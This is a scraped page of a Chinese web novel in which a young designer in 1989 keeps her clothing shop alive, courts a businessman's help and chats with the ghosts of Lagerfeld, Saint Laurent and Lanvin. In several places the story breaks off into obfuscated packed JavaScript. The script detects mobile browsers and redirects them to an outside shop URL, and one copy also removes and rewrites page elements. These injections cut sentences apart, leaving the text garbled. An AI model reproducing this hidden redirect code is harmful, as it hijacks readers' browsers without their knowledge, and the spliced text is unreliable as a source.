刚进群就看到这对话的水非仙，现在除了装死没有别的想法。这群聊到底怎么回事？一开始就是莫名其妙突然出现，现在又在自己没有邀请的情况下突然进入新成员。换成是别人也就算了，怎么是他？卡尔拉格斐？ 水非仙当然不是对卡尔拉格菲尔德有意见，这位卡尔大帝是当之无愧的时尚界第一人。他不仅盘活了芬迪和蔻依，香奈儿更是在他的带领下走向巅峰。学服装设计的有几个能不崇拜他？他还有一个响亮的外号几乎是家喻户晓，那便是“老佛爷”。 只是，若只有这位卡尔大帝一个人，那水非仙自然是欢迎。问题就是伊夫圣罗兰先他一步入群了。当时罗兰先生入群时，还点名不想见到他，水非仙是答应的。可如今卡尔却在自己不知情的情况下突然加入，这令水非仙感到无比心虚。 若说这两位的恩怨情仇，那可真不是几句话能说清楚的。拉格斐先生十七岁刚出道便和罗兰先生参加同一场设计大赛，当时拉格斐先生拿的西装类第一，而罗兰先生拿的是晚礼服类第一。这两人认识得很早，彼此都认可对方的才华，起初是惺惺相惜的关系。 哪怕罗兰先生的资助人，那位皮埃尔看不起拉格斐先生这样的新人，罗兰先生也并不受他影响。拉格斐更是，在他心里，年少成名的艺术家伊夫一度都是他的好友，他不断追赶想要超越的对象。 这一切的改变，要从另一个男人讲起，他叫雅克，是个纵横情场的浪子。拉格斐先生与他一见钟情，租房包养雅克。拉格斐先生一向更专注于自己的事业和作品，且那段时间他和东家蔻依品牌有一定的分歧，爱情在他心里不会是必需品，他也分不出那样多的时间陪着雅克。 雅克为刺激拉格斐，在一次舞会上，他刻意勾引拉格斐心里最重要的竞争对手和好友伊夫。二人春宵一度，从此雅克就住进伊夫心里，伊夫开始对雅克死缠烂打，不惜与自己的初恋兼资助人皮埃尔一刀两断，不惜与拉格斐当众撕破脸，都要留雅克在身边。 因为雅克，这两位昔日好友一度决裂，在雅克离开自己后，拉格斐才意识到，他深爱着雅克，只是一切都难以挽回。后来雅克很早便得病去世，伊夫在雅克去世后，魂不舍守，最后没活了几年也离世了，在他生命的最后时刻是皮埃尔陪着他。而拉格斐，虽然后来二人没有在一起，他养了雅克一辈子，雅克死亡之时，也是他守在身边。雅克死后，他将感情和事业彻底抽离成两个部分，他又找到了很多缪斯，但再也没有付出过感情，他将自己的一生全部奉献给创作，带着香奈儿走向辉煌。 伊夫和卡尔活着的时候，斗了一辈子，从撕破脸那刻开始，这两人就无时无刻不在将对方视为对手。事业上的对手和感情上的情敌，都让他们彼此难以相容，更何况后来伊夫和皮埃尔在事业低谷时，还曾用过手段，想要拉卡尔入泥里，不过是卡尔手中恰好有自保的证据，他二人当时才没得逞。 卡尔拉格斐：我们的大情圣就这点胸怀，过去这么多年了，你这骂人功力也没见长啊？这么激动，是还忘不掉呢？ 伊夫圣罗兰：你这是在侮辱神圣的爱情！ 卡尔拉格斐：你是在逗我笑吗？究竟是什么人才会把爱情当成人生的必需品？像我，时间很宝贵，我想做得太多，我可没时间整天搞什么爱不爱的，时间宝贵，不如放在自律上。 克里斯汀拉克鲁瓦：好了好了，你们不要吵了。 卡尔拉格斐：你是谁？ 克里斯汀拉克鲁瓦：…… 珍妮朗万：这有很多人，你们这么吵下去，该吓到年轻人了。 卡尔拉格斐：朗万女士，我知道您，我和伊夫的事其实已经过去多年，没什么放不下的，主要是他咄咄逼人，太过幼稚。 伊夫圣罗兰：跟你这种人真是没什么好说的。 水非仙：那个……很抱歉拉格斐先生、罗兰先生，这个群虽然绑定的是我，但我真不是故意把你们俩拉到同一个群里的。还有，拉格斐先生，欢迎加入设计师群聊。 卡尔拉格斐：很高兴认识你，水。刚才你的作品我已经看过了，虽然进步空间有些大，但不得不说，你也是位有天赋的设计师。希望你戒骄戒躁，继续努力。 水非仙：好的，感谢拉格斐先生。 伊夫圣罗兰：把你那架子收着点，作为一个绅士，礼貌都不懂吗？ 卡尔拉格斐：绅士？说得真好听，当初怎么没见你那位皮埃尔面对我时，有几分绅士的样子？哪个设计师不是这么过来的，闭着眼不顾事实地吹捧，这就是你伊夫的为人之道？怪不得，在死缠烂打这方面是个中好手。 眼见这两人又要再吵起来，水非仙看到群里出现红包选项，当即出声打断二人一点即燃的对话。 水非仙：这里新出了红包功能，你们等等，让我看一下怎么操作，或许我可以给你们发红包，前辈们。 珍妮朗万：红包？那是什么？ 伊夫圣罗兰：我知道，是华国的一种传统，在有喜事或者过年时，用红纸给对方包起来钱送给对方，就是红包。 克里斯汀拉克鲁瓦：…… 卡尔拉格斐：所以说人死得太早就没见过什么世面，在后来，通讯软件里可以直接给人转账，华国人管那也叫红包，很明显，现在指的就是这个。 害怕二人再次争吵的水非仙快速打字：那这样，我先给朗万前辈发一个试试？ 珍妮朗万：哦，虽然我这里什么都不缺，但是小水，还是谢谢你的好意。 水非仙点击红包发送，珍妮朗万那边便没了动静，一分钟后，珍妮朗万再次发来消息。 珍妮朗万：真是太感谢你了，小水，这红包送来的并不是钱，而是我心里正在想的人，我的两个女儿，她们过来陪我了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水非仙咬着铅笔，蹙眉思索。或许是刚才拉格斐先生和罗兰先生的争吵太过激烈，令水非仙联想起，拉格斐先生在2018年在巴黎大皇宫举办的主题为生命的大秀。他当时把树林搬进秀场内，整个系列都是以此为灵感而做出的延伸。树木与系列相得益彰，互相点题，十分吸睛，秀场一向是拉格斐先生的舒适区，水非仙决定借鉴这种布局手法。 那么，莲仙的概念是什么呢？水非仙想了想，开始动笔。只见她笔下的橱窗里，写在绢上的《爱莲说》如波纹一样，层层相叠，最终在尽头不规则地构成一件衣服，那衣服，一半是汉服的样子，一半又是现代衬衫短裙的轮廓。而那穿着这身衣服的人体模特，则是做出亲吻自己的动作。她背后的景，一半是归隐后的归园田居，一半是大城市的钢铁森林。可不管是那一半全是用纸制成，且城市的那一半已经被火焰点燃一个角，更添加几分破碎感。 水非仙放下笔，满意地看着眼前的橱窗，今天这样精彩的开业仪式，再加上这样的橱窗，她就不信生意能差到哪里去。 35.意料之外 水非仙设想得很好，店面的装修和橱窗也确实起到作用，最起码每天店里的客流量是真的多，可成交率却是另一番光景。一个月下来，店面的营收状况完全出乎水非仙的意料。 1989年2月初，水非仙照常下楼准备骑车去店里上班，她听到楼下的邻居一大早就在激情讨论着什么，空气中弥漫着人心惶惶的气氛，有些事情报纸上不会写，水非仙刻意放慢动作，探听邻里们的一手消息。 “哎，你们说，厂子里到底是怎么回事，最近这几个月，都没像从前那么忙了，厂里一大半的男人都被派出去催债了，别不是出了啥事吧？”大妈A道。 “谁知道呢，咱们这城里的还公家厂子还是好的。听说乡镇里的工程全部停摆了，好像是新从个体转成企业的这些私营公司的小老板，因为新借不出钱了，再加上从前就互相欠债，一家欠三家，谁家都还不上了。导致现在好多工程没办法继续下去。”大妈B道。 “哎哟，我就说呢，听我家这口子说，咱们Y市，那长途客车站还有火车站，这两天挤得全是人，那些农民子弟在家里找不上工作，都坐车进城了。这不，你今天出去看看，那满大街到处都蹲的是人，还有人干脆直接躺在路边的。”大妈C道。 “这不是烂杆子了吗？他们来城里找工作，城里就有了吗？那小老板们还不上债，咱们起重机厂可怎么办？我听说，这物价按不住了，我认识的人都在换外币，现在这外币啊，托人都抢不到。”大妈D道。 混在人群中的赵春燕，尖着眼就看到水非仙路过，她一掐腰，骄傲道：“你们怕啥？那物价再涨，咱们也是吃铁饭碗的，不用进货，也不用担心东西没人买，时间一到，那就有人给咱发工资。人家小老板都这么个样子，你们说摆摊的那日子咋过？。这会儿万一再生个病的，可咋办。不像咱们，孩子上学，全家看病那都有保障。逢年过节的还有个福利。你们就把心揣肚子里，咱们啊，咋个都饿不死。” 水非仙不愿再听赵春燕说废话，她长腿一迈跨上车子。车轮向前转动，水非仙的思绪也跟着向前的车子一起停不下来。她看着路边扛着锅碗瓢盆的人们，有些揣个兜坐在台阶上，有些满脸迷茫地看不清前路，还有的干脆躺在路边，身前还放个碗。水非仙知道一切终将会来，可她没想到的是问题的显露竟然有这么早，直接打了她个措手不及。 车子停在店门口，虽然这个点对于服装店来说，开门还是太早，但此时的店门已经开启营业了，看到敞开的大门水非仙的眼中闪过一丝温热，自开业以来，白秀云和王芹芹几乎都快把店里当成自己的家。不管水非仙怎么劝说，她们两个都会来个大早，新的布料一到，她们就会马不停蹄连轴转开始工作，但凡有点空闲时间，白秀云都要把本就干净的店擦了再擦，而王芹芹也会开始研究新的绣样，短短两个月，王芹芹的技艺已经有了很大突破。 水非仙将车子停好，进入店中，装作不悦道：“你们再这样，我可得给你们加班费了。不能再推辞了。” 白秀云笑呵呵地回答自己的小老板：“老板你要涨工资，我肯定没问题，但我们芹芹肯定是要跟你恼的，只要她同意就行。” 正说着，王芹芹从楼上走下来，看那样子，又在店里通宵了。她抢着回答：“那外面的干工作铁饭碗，一个月才两百，我拿人家的两倍，拿这个钱就要干这个活，更何况莲仙对我来说跟自己的家一样，只有莲仙好，我和我妈以后才能好，你就别说这些没用的了。赶紧算清楚上个月的账，我怎么感觉都不对，每天来的人是多，可好像没怎么赚到钱呢？” 水非仙拧着眉叮嘱王芹芹：“这两天城里人多，成分复杂，你晚上不要待在店里了知道吗？这店里不管什么，都没有你们两个的生命安全重要，钱没了能再赚，人受个伤什么的，疼在自己身上，还耽误事儿。” “知道了知道了。”王芹芹摆着手不以为意，她怎么会不知道这个道理，正是知道，才留在店里，莲仙为了保证橱窗的美观，只安装了防盗拉闸门，在橱窗的位置都没有安装防盗拉闸窗，店里有个人，晚上亮盏灯，还能有个警告的作用。人被生活逼疯了什么都能做得出来，隔壁那条街有家小吃店，就是有大玻璃窗，晚上才被砸了，第二天再去看，什么值钱的都没了，莲仙让她重新活过来，是她的命，她即使夜里回家，心里也放不下。 “白姐，我不放心，你可给她盯紧点，别让她胡来了。”水非仙不放心，再跟白秀云交代一遍。算了，实在不行丑就丑，还是找人尽快把这拉闸窗补上。 “哎，老板放心，有我呢。你快忙你的。”白秀云怎么会不知道自己女儿在想什么。只是她也想守护女儿想要守护的一切，不管发生什么，她都会挡在前面。 水非仙无奈摇摇头，只得赶紧低头算账，其实她的心里很清楚，上个月的账并不乐观，不想平添母女二人的焦虑。水非仙自己找个角落去安静算账。上个月，除去高歌例行送去的衣服，只有陈玲一人来找水非仙订过高定。四舍五入等于高定业务没开张。水非仙将账整个算下来，心里凉了一截，怎么会这样……问题竟比自己想象中的还要严峻。 上个月莲仙的盈利，竟然只有四千。虽说从前自己摆摊的时候一个月就能赚到八千，但那时毕竟是高定占掉大头，成衣只占小头，现在就成衣盈利情况单独来讲，和摆摊时期相比，到底是有所增长，但那毕竟是吃过这样大阵仗开业仪式的，那么等开业仪式的红利过去之后呢？岂不是要等死？ 之前水非仙装修店面加房租，已经花去自己的全部积蓄。现在店里一个月的布料成本在一千左右，还要付母女二人的工资，以及家里的生活成本和店里的运营成本，这么算下来，水非仙根本撑不到下下个月，或者说这个月和下个月的成本一刨掉，自己手头仅剩三百块，这个月的营收状况根本说不好。问题究竟出在哪里？按理来说，即使经济不景气，成衣部分不至于惨成这样？ 这时，店里传来一对母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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水非仙摇摇头：“现在的问题是开源不是节流，而且哪有人做生意节流往大动脉上截的？” 白秀云心疼地抚摸着那些衣服，不解道：“小水老板设计的这些衣服这样好看，每天来看的人那样多，怎么就没人买呢？可怜的小水老板，怎么这样倒霉？偏偏咱们莲仙开业在这个时候。” 水非仙反过来安慰白秀云道：“哪有什么好的时机跟不好的时机一说，那都是弱者的借口，乱世都能出枭雄不是？这会儿要难，就是大家都难，绝不难我一个。大家都难的时候我成功了，那我就是领头羊。有的时候难出头，还真不是说大环境不好，恰恰相反，是大环境太好了，谁都有那个成功的可能性，人人都来跟你争，那才是真的难被世人看到。还有，再说最后一次，别叫我老板，不爱听，咱们可是患难与共的合伙人，知道吗？” “所以水姐姐这是有办法了？”王芹芹眼睛一亮，她就知道，水姐姐最厉害了！ “大概有个思路，你们看虽然现在情况不好，可还有很多东西大家在抢。这些东西要不然是生活的必需品，要不然是入手后可以在一段时间内保值，拿去卖给别人不亏损太多有的甚至还能小赚一笔的东西。在原地分析大环境起不到任何作用，我的家人们。大环境我们改变不了，但我们能改变自己，就将莲仙的产品变为能保值甚至转手能小赚一笔的商品，不就好了。”水非仙勾起一抹微笑。 白秀云皱着眉听着水非仙的话，小水说得很有道理，但实际操作起来，这得多难？ 36.赌徒 正在三人说话间，有人进入店内。 “水姐姐，我来了……”来人是陈玲，奇怪的是对方看上去说起话来十分不自然。 “怎么这个点过来了，玲玲？”水非仙迎上去。 “水姐姐，对不起，我来是想说，最近大家家里情况都不是特别好。水姐姐，我试图帮你去拉单子，都失败了……而且……”陈玲咬着下嘴唇似乎有些难以启齿。 “玲玲，你知道的，我们之间没有什么不能说的。” “水姐姐……对不起……连我也没办法再继续在你这里买衣服了。我的情况，也有点难。”陈玲眼神闪烁，不太敢看水非仙的眼睛。 水非仙蹙眉担忧着问道：“情况不好？很严重吗？我不信情况能突然变坏，玲玲你实话告诉我，前面的单子，你是怎么搞来的？还有那开业仪式，你是不是把所有钱花进去了？” 听着水非仙的话，陈玲连连摆手道：“没有，水姐姐，从前的单子真的是她们自己想买，也就是这两三个月，情况才变坏。至于开业仪式，我说过嘛，我就你一个好朋友。我家的情况虽然说糟，但也没有那么糟。比起李秋实家里来说，还是好多了。” “究竟到什么地步了？” “从前我们店里，来源的大头是那些老板进来在酒桌上谈生意，现在那雅间一间都营业不了。从前光鲜亮丽的老板们现在手里拿着的包，恨不得都把脸挡上。我们只能做做大堂生意，大堂生意客流量也明显少了很多。店里的厨子还有其他管理层们，仗着我们这时候经受不起人员变动，天天在店里作威作福，倚老卖老。我爸不得已又给他们涨了薪，自己家里的日子才难过起来。”陈玲说着，轻轻叹气。 水非仙上前轻轻拍拍她的手道：“你下次再说这种话，你水姐姐我可就生气了。我把你当朋友，那就是纯粹的朋友。是朋友怎么会因为你不来我这儿买衣服就不高兴？你把我当什么人了？再说了，我这一家店也不可能是靠你一个人养起来，你已经帮我够多了，玲玲。还有，你记住，如果撑不下去了，你还有水姐姐这个靠山，我已经养活好几个人了，不怕再多养你一个，你的好姐妹永远是你的后路。” “嗯，”陈玲声音颤抖，扑进水非仙的怀里，有些害怕道：“水姐姐，你说这是怎么了？只是过去几个月，大家的生活怎么就会发生这么大的变化，我好怕，我不敢想事情会不会一直恶化下去，这一切都会过去的吧，水姐姐？” 陈玲到底还是个孩子，她不知道时代的一粒尘埃，落在每个人的身上就是一座迈不过去的大山。如果她没有记错，1989年，将迎来大洗牌，明明私营经济才出生不久，却…… “会的，太阳会照常升起，一切问题到最后总能被解决。”水非仙轻轻搂着陈玲，安慰着她。 陈玲调整好情绪后，就离开莲仙。没多久，门外飘起雪花，雪花纷飞，让她不由得想起一部小时候看过的电视剧。 对啊，这破局之道不就自己送上门了吗？水非仙出门将自行车推进店里，然后交代一句说不用等她，就离开店里，奔跑起来。 狂奔半个小时，她来到一家酒店的楼下，这家酒店水非仙来过很多次，正是高歌下榻的酒店。高歌为方便，租住的酒店就选在工商局对面，大概是为了与人谈生意方便，来Y城几个月，高歌一直住在酒店里，而不是选择租房。 这家酒店在Y市虽不是最好，但在这个宾馆占主流的年代也是奢华无比。酒店配备有两部进口的现代化电梯，在Y市，这样的电梯一度也是仅有这一家。 整座酒店虽然占地面积不是特别大，整个酒店也是铺满地毯，在当年来说是属于精致装修。一楼的大厅安有水晶灯，大厅接待处的墙面上挂着一排显示东亚各国此刻时间的表，透露着这家酒店具有涉外资质。 “你好，我想要找404的高歌，高先生。”水非仙到前台询问。 “很抱歉，高先生并不在房间。这位女士，很抱歉，如果要等人的话，请不要滞留店中。最近城里流动人口较多，以防万一，我们店里是不允许过久停留住客以外人的。”前台服务员说道。 水非仙点点头，可以理解，她走出酒店，打算在门口等上一会儿。她想做的事，如今能帮她的只有高歌，即便是在雪地里从天亮站到天黑，她也非要等到高歌不可。 才奔跑过的水非仙，雪花落在她的身上，都能很快融化。可是没过一会儿，雪花开始渐渐停留在她的身上，那雪花越来越多，等水非仙意识到时，她对着玻璃看到自己的眉毛和头发已经洒满雪花。 她伸手想要拍落这些雪花，想一想，又将手放下，甚至尽可能减少身体活动，就这么静静地等着。 高歌是下午回到酒店的，他刚将车子停好，就看到酒店门口的水非仙。“水小姐，你怎么在这里？”看着水非仙的样子，明显是有些冻僵了。 “我从早上就一直在等你，高先生。”水非仙哆嗦着道。 “等我？” “是的，我有事求您。”水非仙诚恳道。 “先跟我进来吧，你都冻僵了。”高歌领着水非仙往酒店里走。 水非仙想，没白挨冻，目的达到，那就是值得。 还是白天，水非仙自然可以跟着高歌回到房间。进入404房间后，高歌先是点几下洗手间门口边上中央空调的中控，将温度调高，接过水非仙脱下的被雪花浸湿的外套又进去洗手间拿出一条浴巾递给水非仙旁边她擦拭身上雪花融化后的水渍。又起身为她泡上一杯热茶，邀请她在窗户旁边的座位上坐下来。 “水小姐说有事求我，不妨说来一听？”高歌十分绅士地在另一边座位上坐下来，认真问道。 水非仙轻轻叹气，直截了当道：“高先生这回若是不救我，怕是莲仙就要不在了。现在外面是个什么情况，高先生应该也是知道。我想要自救，就得借一股东风，而这东风，只有高先生有办法。” 高歌点头，“我是知道的。看秋实他们家的情况就猜测一二，只是万幸，对我这样的外地人而言影响不大。不过，我可不认为自己有那个本事救水小姐。” “你有的高先生，”水非仙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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水非仙伸出手，轻轻挽住高歌的领带，微微用力，将高歌拉近自己身前。以非常近二人鼻子就快贴到的距离柔声道：“高先生连着帮我几次，恐怕是对我有好感，最起码是欣赏的吧？既然如此，就帮了我这个忙，若真能成功，我欠你一次，你想怎样都行？” 高歌的瞳孔黯了黯，脸色有些铁青，看上去有些生气道：“水小姐知道自己在说什么吗？你知道我是有可能提无理要求的吧？为了生意你就做到这种地步？” 水非仙微笑：“我赌你是个正人君子，并不是谁我都会低声下气去求的。放心，跟我做买卖，亏不了。双赢，才能走得长远，让我欠你个人情你不会亏的高先生。而且……”水非仙上下打量一眼高歌，“以高先生你的条件，你说的无理要求，似乎我也并不吃亏啊。这样的买卖，我是傻子才不做。” 听到水非仙的话，高歌的呼吸逐渐急促起来，他闭上眼睛深呼吸两秒，再次睁眼无奈道：“好吧，我认输，水小姐你可以松手了，你再一次赌赢了，我帮你行了吧。” 水非仙微笑起身，将外套重新穿回身上，“那，我就等你的好消息。”说完就优雅地走出房间，头也不回。 她就知道，对待高歌这样的正人君子，这招应该有效。水非仙的心跳得很快，其实刚才的她也在赌，她不想赌，但王芹芹母女和小莲，都得活下去，只能她来赌。还好，又让她赌赢了。 房间内的高歌在水非仙走后一把将脖子上的领带摘下，“见鬼，她不是有丈夫吗？这么狠吗？”说完他又觉得不解气，将领带一把扔在地上，然后对着领带大眼瞪小眼，心里还是有一把火不停地在燃烧，无奈只能起身，走向浴室…… 37.赶路 伊夫圣罗兰：水，你为什么要说刚才那些话？ 水非仙从酒店出来，突然就想进入群聊看看，也不知从何时开始，群聊对她来说就像另一个家。心里不太痛快或者需要陪伴的时候，她总想着进来看看，谁知今天刚一进来，就看到伊夫在质问自己。水非仙连忙解释。 水非仙：罗兰前辈，请放心。我会这么做肯定是有几分把握的，高先生那样说便是想和我提出利益交换，可我身上并没有任何能与他交换的东西，人脉他不缺，金钱我没有，可能给他带来的价值我早已和交换过。不想出一招空手套白狼，我怕是请不动这尊佛。 伊夫圣罗兰：可是有些事是必须在有好感的前提下才会去做，否则不就是出卖自己吗？水，据我观察你并不喜欢他。 水非仙：我这不是赢了吗？就高先生之前的表现，尤其是上一次游泳场那次，不难分析出这个人你和他堂堂正正较量他不会吃亏，唯一的突破口是他似乎被保护得太好了，你用这种他没见过的招数，他反而吃不消。而且就这么长时间以来的观察，他的人品我认为可以信任。 伊夫圣罗兰：那万一他是个伪君子怎么办？水，你这种行为非常不负责，对你自己不负责，也是对爱情不负责。 水非仙看到伊夫这话，心里就有些委屈，是她不愿意堂堂正正着来吗？她没有底牌，若她有，谁不想光明正大呢？她深吸一口气，平复情绪，罗兰前辈会这么说也是关心自己，不要说出不该说的话伤到感情，人家有恩对自己。 水非仙：罗兰前辈，我这副□□虽然只有十几岁，可我本人并不是，我很清楚自己在做什么。高歌这样优秀的人，谁对他没有好感，但又有谁会傻到跟他这样的人动真感情？若我刚才赌错了，不过就是彼此享受一番，事后我不会赖上他，他也休想我负责罢了。眼下，我想做的只有把莲仙做好，只有守护自己想守护的人，做个好老板，好妈妈。我就是对感情负责才会这样，这世间的感情不是只有男女之情，如果莲仙倒了，明天的我们连温饱都是问题，这种情况下你让我怎么去考虑感情这种奢侈品。我的爱情还没那么重要的，罗兰前辈。更何况，美人计身为三十六计中的一计，我也不认为有什么不入流的。 伊夫圣罗兰：你这是强词夺理，水。你好歹是个艺术家，是我欣赏的后辈，这次就算了，下次请你好好保护自己，不要再开这种玩笑了。 水非仙：罗兰先生，若你重走我走过的路，你就会理解我所做一切。我从小在福利院长大，我对这个世界的理解就是什么东西我都要去争去抢我才能活下来。我不是不想自尊自爱，只是我理解的自尊自爱是作为胜利者再回头看时，我不曾因为当初的怯懦而后悔。我不像你，罗兰先生，你生下来就有太多爱你的人，你有无数条后路，可我没有。我的身后不论前世还是今生，站满的都是需要我来保护的人，甚至未来还会有更多人。我知道你是为我好，罗兰先生，我答应你尽量不再去赌这么大，但也只会是尽量。 水非仙原本内心还有几分委屈的感觉，在和罗兰先生交流一番以后，此刻早已烟消云散，打字的过程等于是给了她一个直面自己内心，复盘自己行为的机会。没错，没有人生来坚强，是心中的爱与梦想，为我们铸起一层盔甲。 卡尔拉格斐：可笑，这个群里，谁私下里玩得最花，大家心里都清楚。伊夫，你当初是个什么样你心里清楚，你现在有什么资格来指责人家水？ 呛完伊夫，卡尔继续打字：水，你知道吗，不要那么相信我们的经验，事实上没有任何一个人的成功可以被复制，做好自己就可以，像我，就从来不向任何人学习，我只从自己的失误当中学习。这一点让我受益良多。 伊夫圣罗兰：…… 这位以毒舌著称的老佛爷，竟还有这样体贴人情绪的一面，虽然他会这么说很大程度是为了同罗兰前辈硬杠，水非仙还是心领了他解围的好意。群里的每一个人都在困难的时候帮过自己，自己初来到这个陌生的世界时，除了小莲，便是他们在陪，水非仙不想和他们中的任何一个闹得不愉快。 水非仙睁眼关闭群聊界面，重新回到店铺投入到工作中，接下来要做的就是等待。 终于，三天后的一个下午，李秋实赶来莲仙，他飞奔过来，还没站稳就开口：“水小姐，快，快去X市，高歌会在火车站等你，他让我告诉你，答应你做的事办好了，但机会难得，他在明天帮你求到一个见面机会。” X市，那距离这里可有五百多公里，绿皮火车可要坐十来个小时。此时小莲正好在店里，水非仙拜托李秋实帮她把小莲送去陈玲那里，然后收拾东西，带上一支笔一个本子就要出发。 水非仙此时手头能支配的财产只有不到三百块，她想了想，交给小莲一百多块钱，告诉她：“这钱帮妈妈保管着，妈妈会尽快回来，如果妈妈耽搁了，你就花这个钱，不要理所应当地麻烦人家玲玲姐姐，知道了吗？” 小莲点点头，让水非仙放心。水非仙带上自己的一百五十块钱，雇了辆黄包车就往火车站赶。等到火车站，她直奔售票点，问工作人员买最近去X市的车票。 “最近去X市的车票都得是明天。”售票员回答道。 “明天，那无论如何都来不及了啊…”这情况让水非仙心急无比，“这位小姐，能不能给通融一下，有没有什么退换下来的票，我真的很急。”水非仙苦苦哀求。 “现在客运这么紧张，哪有人买当天的票，想出门谁不是一天来问几次，哪有这样买票的。来来，不买就别堵在这里了啊。”工作人员不耐烦地挥手赶人。 水非仙的心一下子跌到谷底，这可怎么办，明天哪怕买最早的一班都是来不及。 “要票吗？”水非仙发愁之际，一个身穿皮衣头戴皮帽的男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961334|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑过来，动作鬼鬼祟祟，眼神慌张地四处瞟着，水非仙抬头，看到售票大厅里，游荡着好几位这样的人，差不多的打扮，差不多的神态，她小时候就听说过这个年代有许多卖黑票的，如今算是亲眼见到了。 可既然有卖黑票的。那必然就有卖假票的。怎么分辨车票的真假呢？不管了，哪怕让她先上车，再补票也行啊。水非仙一把拉住男人的手腕，问道：“你这票保证能让我上车吗？我要去X市，你陪我去检票口，能进我就买，怎么样？” 那男子用力抽回自己的手，愤怒道：“你要买就买，不买就算了。我们干这一行还给人送上门去？X市，30一张，要就买，不要拉倒。又不缺你一个买家。” 30一张，如果上车再补票加起来就是50，那往返就是70，水非仙身上连150块都没有。过去可以不住宾馆，夜里找个地方凑合一下。但还是说不好，毕竟是去求人，谁知道都有什么要花钱的地方。但眼下除了这样，也实在没有别的办法了。 水非仙咬咬牙：“那就给我来一张，去X市的。” “ X市只有无座了啊。来，30。” 水非仙掏出30块，那男人从怀里掏出个皮质封套，有些像集邮册的本子，从里面取出一张细窄的火车票递给水非仙。“来，拿好，一个小时后出发，看好时间。” 水非仙接过车票，低下头快速前往火车站的厕所。这时候的厕所也是要收费的，不过不高，如果可以，水非仙宁愿不去，这时的厕所哪怕收费，条件也跟后世没法比，可就在她刚才掏出30块的时候，她看到售票大厅好多人朝自己看过来，那眼神实在称不上是友善。她现在进入厕所，不是为别的，而是为把自己仅有的这点钱，塞进内衣里。若这点钱都被偷走，万一她在X市火车站跟高歌错过了，她不敢想象接下来该怎么办。 从厕所出来后的她在进站时，无比庆幸自己刚才做出这样的选择。在过安检口时，那队伍真的就是人挤人，在冬天，人人都穿着厚重的大棉衣，大部分人都是赶着这批民工潮进城或回家的民工，身上背着很多东西，为不法分子能够起到遮掩的效果。要真是被摸了兜，那感觉不出来都是很正常的事。 如水非仙想象中的不一样，她从卖黑票的那里买到的票竟能让自己成功登上火车，目前都还无需补票。上了列车后的水非仙本想着自己买的是无座票，那可以等着看一看，要是有座位没有人，那就可以过去坐下来，谁知，她在一旁站了一会儿，车上的人是越来越多，买无座的人也多，甚至有点多到不正常，大家把行李往下一放，要不然是坐在行李上，要不然是干脆席地而坐。 水非仙从自己带的本子上撕下来一张纸，垫在身下坐上去。倒不是她矫情，明天还要见重要的人，衣服绝对不能脏。列车里的气味是真的不好闻，水非仙百无聊赖，掏出怀里的本子，对着车里的人画了起来。 38.机会 水非仙舞动画笔，将注意力放在画纸上，车厢里有些压抑的气氛令她不喜欢自己脑海中想好的构图。怎么去改变呢？水非仙低头沉思片刻，就有了主意，再次下笔，轻快不少，上扬的唇角和铅笔与纸飞速的摩擦声无一不再昭示着创作者的好心情。 没过多久，第一张画作已成，是对面一位穿着军大衣，昏昏欲睡的老人，在水非仙的笔下，他的左半身还是原来的样子，右半身则是穿着四十多年后流行的羽绒服，低着头翻着看手机里最新资讯的样子。 第二张画作，是侧边一位穿着厚棉衣怀里抱着孩子的中年大姐，还是不变左边是一样，右边则是变成与孩子一起阅读书籍，他们身上穿着的是亲子装，看那神情，似乎准备回家过年，画面看起来又温馨又和谐。 第三张画作，是身旁放着捆好的锅碗瓢盆，还有铺盖卷的年轻人，头发有些乱，穿着最便宜的夹克衫，眼神迷茫，望着前方发着呆。在水非仙的笔下，那名年轻人右侧的衣服换成了冲锋衣，而那一地的生活用品，则在少年的右侧变成一辆山地自行车。或许，这位少年，他想要奔赴的，不仅仅是生活，还有远方和梦想。 水非仙画的，这些人的另一半，是他们如果活在水非仙所在四十年后，此刻的样子。她停下静静欣赏，寒冬再冷，总会过去的，不是吗？ 正在这时，一阵香味传来，水非仙的肚子被这气味勾得咕咕叫。是铁皮餐车，到晚饭饭点了，列车上的工作人员推着餐车开始售卖用泡沫盒装着的盒饭。跟盒饭呼应着，前面的餐车开饭后的味道也飘了过来。 这味道，是芹菜炒肉。这会儿的火车盒饭不能选菜，只能选荤素两种，所有都是统一装好的，一份盒饭里，一半是肉菜，一半是米饭，素菜同理。水非仙饿得不行，又想到火车的盒饭不会便宜，搞不好后续还要查票，这钱还得再出一份，剩下的钱只有几十，如果此行不成功，搞不好就是自己和孩子过渡时的生活费，能省还是要省。 水非仙轻叹口气，忍住饥饿，起身到餐车那里买瓶水，想着喝水，也能垫一垫，她起身后看到买坐票或者无座的乘客，愿意花钱买盒饭的人真的很少，大部分都随身装着家里自己烙的饼子，或者提前买好的便宜馒头。 买的人少，不代表没有。一旦有人在吃，这香味就会开始在整节车厢里无孔不入，别的人还好，有食物垫着肚子，水非仙却什么都没有，火车里的东西要比外面翻几倍的价，她不舍得买。无奈水非仙用喝完的水瓶几度起身又去开水炉接水，这样一个晚上，她饿得胃不舒服就去喝水，反复多次，终于头开始有点晕了。 